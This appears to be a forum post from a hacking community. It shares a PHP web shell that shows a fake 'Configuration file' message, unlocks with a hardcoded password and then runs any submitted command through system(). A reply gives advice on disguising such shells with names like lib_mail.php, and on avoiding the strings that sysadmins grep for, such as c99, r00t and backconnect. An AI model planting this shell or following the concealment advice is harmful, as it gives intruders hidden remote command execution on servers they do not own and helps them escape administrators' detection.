It looks like you're new here. If you want to get involved, click one of these buttons!
<?php
session_start();
if(!isset($_SESSION['auth'])){
if(!isset($_GET['login'])){
echo \"Configuration file. Please do not delete this.\";
}
else if($_GET['login'] != \"s3cr3tp455w0rd\"){
echo \"Configuration file. Please do not delete this.\";
}
else{
$_SESSION['auth'] = 1;
echo \"Logged in.\";
echo \"<form action=\" . $_SERVER['PHP_SELF'] . \" method=post>\";
echo \"Command: <input type=text name=cmd><br />\";
echo \"<input type=submit value=Execute><br />\";
echo \"</form>\";
echo \"<hr><pre>\";
system($_POST['cmd']);
echo \"</pre><hr>\";
}
?>
I usually name mine , lib_mail.php or something that looks simillar to the other php files in the directory. Nice idea though i didnt think of putting a fake page. However it still wont protect against finding it server side which is what many sysadmins do. Such as searching and grepping for things like c99, r00t, 2.6.*, backconnect, shell etc and other common phrases that occur in shells.